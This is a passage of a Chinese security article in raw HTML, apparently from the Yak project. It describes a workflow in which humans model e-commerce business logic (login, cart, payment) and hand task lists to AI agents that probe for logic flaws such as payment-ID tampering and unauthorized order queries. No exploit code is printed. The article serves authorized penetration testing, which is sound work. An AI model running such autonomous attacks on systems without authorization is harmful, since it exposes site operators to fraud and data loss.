src="https://wechat2rss.xlab.app/img-proxy/?k=aec5137c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72EnGLTrUibGRIZfgdzNXG5nWJbN5097Zfo2lCHWTJVA6291V1G81RTsNeEbuc8E0ibp3JRxDbwYCBdSdGC21vquIogAUfLHpibicY0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;text-align: left;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">1.套餐 ID 是否仅限已列出的几个？`888/999/666/0/-1` 是否触发特殊套餐？</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">2.支付站点、生成链接域名、回调域名三者是否一致？</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">3.订单号回调查询支付状态是否存在越权？域名不一致时 Cookie/Session 不一定跨域。</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">两类场景的测试项几乎不重叠，说明跳过业务理解直接测试等同于盲打。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="letter-spacing: 1px;">2.3 任务清单（TODO）的设计价值</span></span></strong></span></p></div></div></div></div></div><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5626081938834391" data-s="300,640" data-type="png" data-w="1733" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046200" src="https://wechat2rss.xlab.app/img-proxy/?k=328b0fe8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72ETp0GJC1R7Fv2apiaRlTrW3tLxczo4icrm0oCbb4aXBxBZWRxRibiboXdqoEjb4E5iaUm2GNxrEfH9pMjoVLJ5IS6tCg0aobB28uLw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">理解业务后，整理待测项目并规划：按场景准备多账号的新鲜流量、Cookie 与 Session，给出场景级计划。为 AI 设计 TODO 不会限制其能力，反而带来三点收益：</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">1.人与 AI 目标一致、边界明确</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">2.分而治之：拆小任务、降低单步难度，避免 AI 自行做不稳定的任务拆解</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">3.配合动态规划，保下限、提上限——TODO 是底线，执行中 AI 仍可自由发挥</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">业务理解之所以前置，是因为</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">关键流</span><span textstyle="" style="letter-spacing: 1px;">程包裹着二次核身、验证码、手机验证码等高门槛前置条件，</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">由人获取关键流量效率最高。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="letter-spacing: 1px;">2.4 工程难点：雪崩效应与长链路稳定</span></span></strong></span></p></div></div></div></div></div><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5626081938834391" data-s="300,640" data-type="png" data-w="1733" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046201" src="https://wechat2rss.xlab.app/img-proxy/?k=1b40fb77&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72E3cuibUwM7eFGjkhicLJCFdvM71aXl2paibZCrVDvnf4PhrHWctqKv0hQ57ATGsyjyaQOhvobqXicicpiapicSZRBZbvniaPGJLFWmSb4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">最棘手的难点是雪崩效应：</span><span textstyle="" style="letter-spacing: 1px;">多轮 ReAct 中的小错误会逐步传播、放大，最终导致任务失控离题。短链路影响有限，但业务漏洞几乎都是长链路，雪崩效应不可回避。稳定长链路有 TODO List 与 PLAN 两种思路，对比如下。</span></span></p><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-mpa-action-id="mq4yimkz21hm" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.32988505747126434" data-s="300,640" data-type="png" data-w="870" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046235" src="https://wechat2rss.xlab.app/img-proxy/?k=b3bfe810&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72HhNia5QAnSXGgD53CwVb8VHMNd7KDxF2vDRZSEPbH6oWL1Kib6rQ5kTJn1JREtgJ2XnXDe87tCxrtZW3x8sCvLkH3icJezYkvMHc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">结</span></span><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">论：短链路、目标单一用 TODO List；跨子系统、多漏洞混杂的复杂场景需 PLAN 模式保障全局稳定。&#34;人控建模 + 任务清单&#34;本质上是用人工 PLAN 为 AI 兜底，锁</span></span><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">死长链路下限。</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">长链路稳定问题一旦解决，弱于该防护强度的场景自然可控。</span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">三、人控：从业务建模到 AI 长任务测试全流程</span></strong></p></div></div></div><p nodeleaf="" data-mpa-action-id="mq4y6bhk3lh" data-pm-slice="0 0 []" style="padding: 0.5em;margin-bottom: 8px;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5626081938834391" data-s="300,640" data-type="png" data-w="1733" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046202" src="https://wechat2rss.xlab.app/img-proxy/?k=a0786f84&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72HxEhgJjjxjx8ZA40ZIz16wkicu1zxqGjN537G8BtIXb3dJyhx1zDqZqKacoHt2jFfotdNJyJVO4luFJU4qibUj4sYfSuyyfEc6k%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 0px 8px 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">流程模式：人确定业务方向，AI 承担整理、拆解、执行、验收。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="letter-spacing: 1px;">3.1 步骤一：抓取正常业务流量</span></span><span leaf="">？</span></strong></span></p></div></div></div></div></div><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5626081938834391" data-s="300,640" data-type="png" data-w="1733" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046203" src="https://wechat2rss.xlab.app/img-proxy/?k=33de3e91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72GjT7g99UzTQqAznibzG6F3EdX6PfBRTwWvYreP48PjWNf57ZEd9nvECsDiboibibT5Hp32c6LS61Eds10wOdO5njXm9pc2ggTZ5d0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">以普通用户身份完整走一遍业务流程并抓取流量，重点确认三类功能：</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">1. 登录注册</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">2.购物车 / 收银台</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">3.支付 / 优惠</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">正常流量是整条链路的地基，缺少新鲜、完整的流量，后续建模无从谈起。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="letter-spacing: 1px;">3.2 步骤二：AI 辅助理解业务</span></span></strong></span></p></div></div></div></div></div><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5626081938834391" data-s="300,640" data-type="png" data-w="1733" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046204" src="https://wechat2rss.xlab.app/img-proxy/?k=d8c4398b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72H488UhlWt6gC9mk3XtxUWwxCece6FcgY9FIgTQ3Xr3VqWIFSuxbm4FFGqYQehdL8H1P7AjsmennNb5HRsdNa2MFbZcZGUasQs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">勾选关键流量，经流量分析直接生成测试任务书。</span><span textstyle="" style="letter-spacing: 1px;">若清单仍不够直观，可要求 AI 生成 Mermaid 系统时序图，呈现购物车与支付的状态流转。</span></span></p><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5626081938834391" data-s="300,640" data-type="png" data-w="1733" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046205" src="https://wechat2rss.xlab.app/img-proxy/?k=01edba71&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72GKHZjwOtx98QicrFfkL4AwaBQWjhrUj95FEL7ZfgZb9kAt0DrJbJu6NeVB3ybBYKLvMicRtksl32abLy4YAAraPuwdI8tFZHWXU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">业务建模这一最依赖经验的环节由此压缩到分钟级：一份含测试点、关注参数、预期风险的清单，配合时序图，即可支撑后续自动化测试。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="letter-spacing: 1px;">3.3 步骤三：任务清单交付 AI Agent 执行</span></span></strong></span></p></div></div></div></div></div><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5626081938834391" data-s="300,640" data-type="png" data-w="1733" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046206" src="https://wechat2rss.xlab.app/img-proxy/?k=e68ebd68&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72HSuU78u75fhf0zZ5P1DiaiaqTAxu7iawkCO8tRtCPO0azLHk9Yc7TqJf0mR1EJIrOJyf5BquV6m9glEw5ay5PAMySX1L7BZMgOTM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">任务清单包含三要素</span><span textstyle="" style="letter-spacing: 1px;">：测试目标、所用 Cookie / Session、待测路径与功能点。落地方式有两类：复制给 Memfit AI 执行，可结构化保留完整过程、流量与漏洞；或使用 Codex 的 `/goal`、CC 直接执行。该步骤人工几乎不介入。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="letter-spacing: 1px;">3.4 步骤四：漏洞验收</span></span></strong></span></p></div></div></div></div></div><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5626081938834391" data-s="300,640" data-type="png" data-w="1733" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046207" src="https://wechat2rss.xlab.app/img-proxy/?k=61949feb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72HM1s32w7kYHkFt4RViaTKpEhYyj0HgcuDIOhxlTOpnBrR5bbdo6RE40oux0RCqibicR42jcKVgLKpwI0dweicg2mlM6GRcjOgmO28%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">AI 按优先级输出漏洞，验收聚焦证据链与业务影响。</span></span></p><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-mpa-action-id="mq4yjipw24xr" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100046236" data-ratio="1.0034602076124568" data-s="300,640" type="block" data-type="png" data-w="867" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=fb5e954d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72GZjEJoxG0xoX5tOWdlNGkyjLHoz0sKFEPK4ITYmhESBGiafiaqC8ibS5Q9YU8weJAu3DrOXg5cESq8sYuriaticxlicic6mgcKdlgDzU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 8px;text-align: left;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">验收成本低的关键在于：</span><span textstyle="" style="letter-spacing: 1px;">AI 同时交付测试过程中的 CURL 命令或数据包，人工只需复现、取证、出报告。报告本身也可由 AI 生成——任务报告书结构一致，DeepSeek V4 Pro、Qwen3.7 MAX、GPT-5.5 三者效果接近，均在 20-30 分钟出结果且覆盖上述主要漏洞。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: 